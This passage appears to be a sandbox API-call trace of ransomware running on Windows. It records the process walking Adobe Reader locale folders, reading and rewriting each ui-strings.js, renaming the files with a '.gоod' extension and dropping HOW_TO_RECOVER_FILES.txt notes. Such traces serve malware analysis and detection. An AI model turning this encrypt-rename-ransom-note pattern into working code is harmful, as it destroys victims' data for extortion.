ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x540)) returned 1 [0255.308] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec270) returned 1 [0255.308] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-il\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-il\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-il\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-il\\ui-strings.js.gоod")) returned 1 [0255.309] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-il\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-il\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0255.309] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec4b0) returned 1 [0255.309] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-il\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\en-il\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x834 [0255.310] GetFileType (hFile=0x834) returned 0x1 [0255.310] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec420) returned 1 [0255.310] GetFileType (hFile=0x834) returned 0x1 [0255.311] WriteFile (in: hFile=0x834, lpBuffer=0x3b6f9a0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ec578, lpOverlapped=0x0 | out: lpBuffer=0x3b6f9a0*, lpNumberOfBytesWritten=0x202ec578*=0x5d0, lpOverlapped=0x0) returned 1 [0255.311] CloseHandle (hObject=0x834) returned 1 [0255.311] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0255.311] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\es-es", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\es-es", lpFilePart=0x0) returned 0x77 [0255.312] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\es-es\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a740 [0255.312] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.312] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0255.312] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0255.312] FindClose (in: hFindFile=0x134a740 | out: hFindFile=0x134a740) returned 1 [0255.312] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0255.312] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0255.312] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0255.312] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\es-es", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\es-es", lpFilePart=0x0) returned 0x77 [0255.313] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\es-es\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0255.313] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.313] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0255.313] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0255.313] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0255.313] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0255.313] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0255.313] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\es-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\es-es\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0255.313] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2f0) returned 1 [0255.313] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\es-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\es-es\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3b7f878 | out: lpFileInformation=0x3b7f878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x567)) returned 1 [0255.314] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec2b0) returned 1 [0255.314] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\es-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebc80, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\es-es\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0255.314] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1a0) returned 1 [0255.314] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\es-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\es-es\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0255.314] GetFileType (hFile=0x834) returned 0x1 [0255.314] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec110) returned 1 [0255.314] GetFileType (hFile=0x834) returned 0x1 [0255.314] GetFileSize (in: hFile=0x834, lpFileSizeHigh=0x202ec348 | out: lpFileSizeHigh=0x202ec348*=0x0) returned 0x567 [0255.314] ReadFile (in: hFile=0x834, lpBuffer=0x3b80188, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec278, lpOverlapped=0x0 | out: lpBuffer=0x3b80188*, lpNumberOfBytesRead=0x202ec278*=0x567, lpOverlapped=0x0) returned 1 [0255.880] CloseHandle (hObject=0x834) returned 1 [0255.918] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\es-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebc80, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\es-es\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0255.918] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1a0) returned 1 [0255.918] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\es-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\es-es\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0255.919] GetFileType (hFile=0x834) returned 0x1 [0255.919] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec110) returned 1 [0255.919] GetFileType (hFile=0x834) returned 0x1 [0255.919] WriteFile (in: hFile=0x834, lpBuffer=0x3b92c10*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x202ec188, lpOverlapped=0x0 | out: lpBuffer=0x3b92c10*, lpNumberOfBytesWritten=0x202ec188*=0x570, lpOverlapped=0x0) returned 1 [0255.919] CloseHandle (hObject=0x834) returned 1 [0255.919] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\es-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\es-es\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0255.919] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\es-es\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\es-es\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0255.920] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2b0) returned 1 [0255.920] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\es-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\es-es\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x202ec390 | out: lpFileInformation=0x202ec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x94c12726, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x570)) returned 1 [0255.920] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec270) returned 1 [0255.920] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\es-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\es-es\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\es-es\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\es-es\\ui-strings.js.gоod")) returned 1 [0255.921] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\es-es\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\es-es\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0255.921] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec4b0) returned 1 [0255.921] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\es-es\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\es-es\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x834 [0255.921] GetFileType (hFile=0x834) returned 0x1 [0255.921] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec420) returned 1 [0255.921] GetFileType (hFile=0x834) returned 0x1 [0255.922] WriteFile (in: hFile=0x834, lpBuffer=0x3b96520*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ec578, lpOverlapped=0x0 | out: lpBuffer=0x3b96520*, lpNumberOfBytesWritten=0x202ec578*=0x5d0, lpOverlapped=0x0) returned 1 [0255.923] CloseHandle (hObject=0x834) returned 1 [0255.923] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0255.923] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\eu-es", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\eu-es", lpFilePart=0x0) returned 0x77 [0255.923] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\eu-es\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aaa0 [0256.260] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.260] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0256.260] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0256.305] FindClose (in: hFindFile=0x134aaa0 | out: hFindFile=0x134aaa0) returned 1 [0256.305] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0256.305] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0256.305] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0256.305] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\eu-es", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\eu-es", lpFilePart=0x0) returned 0x77 [0256.305] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\eu-es\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b460 [0256.305] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.306] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0256.306] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0256.306] FindClose (in: hFindFile=0x134b460 | out: hFindFile=0x134b460) returned 1 [0256.306] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0256.306] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0256.306] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\eu-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\eu-es\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0256.306] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2f0) returned 1 [0256.306] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\eu-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\eu-es\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3d1ba28 | out: lpFileInformation=0x3d1ba28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x578)) returned 1 [0256.306] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec2b0) returned 1 [0256.307] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\eu-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x202ebc80, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\eu-es\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0256.307] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1a0) returned 1 [0256.307] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\eu-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\eu-es\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0256.307] GetFileType (hFile=0x8a8) returned 0x1 [0256.307] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec110) returned 1 [0256.307] GetFileType (hFile=0x8a8) returned 0x1 [0256.307] GetFileSize (in: hFile=0x8a8, lpFileSizeHigh=0x202ec348 | out: lpFileSizeHigh=0x202ec348*=0x0) returned 0x578 [0256.307] ReadFile 